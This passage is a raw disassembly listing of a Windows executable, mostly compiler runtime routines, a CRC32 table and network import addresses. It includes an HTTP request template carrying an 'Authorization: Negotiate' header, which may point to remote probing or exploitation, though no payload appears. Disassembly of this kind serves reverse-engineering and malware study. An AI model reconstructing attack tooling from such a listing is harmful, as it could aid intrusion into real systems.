[edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26703BAh pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax loc_426680: ; DATA XREF: sub_56616D+1o jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636:loc_426680j push esi push esi push ebx push offset word_4CB88C push edi push esi nop call near ptr 2660000h test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2861078h nop mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2861078h test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2660000h nop test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2720000h mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2610000h test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi call near ptr 2610749h nop test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2610000h nop jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2861078h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2861078h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610749h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25F0000h, 2600000h, 26009C1h, 2600A29h, 2600E48h, 2610000h dd 2610749h, 2620000h, 262058Ah, 2630000h, 26308F3h, 2630B5Eh dword_427030 dd 2630B6Eh ; DATA XREF: ___:004239E2r dd 2630C01h, 2630E99h, 2630ED1h, 2640000h, 2650000h, 2660000h dd 2670000h, 26703BAh, 2670820h, 2670831h, 267087Ch, 2680000h dword_427064 dd 2680572h ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 2680773h ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 26808BBh ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2680B8Eh, 2690000h, 26A0000h dword_427080 dd 26A068Bh ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 26A06F9h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r dd 26A0927h dword_42708C dd 26B0000h ; DATA XREF: sub_419C09+B9r dd 26B0604h dword_427094 dd 26B0669h ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 26B06C1h ; DATA XREF: ___:loc_4013DCr dd 26B0A02h, 26B0B43h dword_4270A4 dd 26B0C06h ; DATA XREF: sub_409909+2r dd 26B0D3Ch, 26C0000h dword_4270B0 dd 26C0589h ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 26C05DFh ; DATA XREF: sub_4116D6:loc_4117C2r dd 26D0000h, 26D0D07h dword_4270C0 dd 26E0000h ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26E03D4h ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26F0000h, 2700000h, 2700552h, 2710000h, 77F7E300h, 77F7E21Fh dd 27105A5h, 2710736h dword_4270E8 dd 2720000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 2730000h ; DATA XREF: sub_4119F9+Br dd 2740000h, 2750000h dword_4270F8 dd 27506FCh ; DATA XREF: sub_4187E0+36r dd 2750975h, 2760000h dword_427104 dd 276073Dh ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2770000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 2771561h, 2780000h, 2790000h, 2790328h, 2790872h, 27A0000h dd 27B0000h, 27C0000h, 27C0B82h, 27D0000h, 27D00EEh, 27D021Bh dd 27D0484h, 27E0000h, 27E0813h dword_427148 dd 27F0000h ; DATA XREF: sub_4172C1+BCr dd 27F0614h dword_427150 dd 2800000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 2800B0Ah ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 2800B91h dword_42715C dd 2810000h ; DATA XREF: sub_41761C+56r dd 2810236h, 2820000h, 2830000h, 2830522h, 2830B31h, 2840000h dd 28401CFh, 28407D5h, 2850000h, 2860000h dword_427188 dd 2861078h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2861BB3h, 2870000h, 2870453h, 2870759h, 2880000h, 2890000h dd 28A0000h, 28B0000h, 28B1BEDh, 28B1C1Ah, 28C0000h, 28C0E3Ah dd 28D0000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o 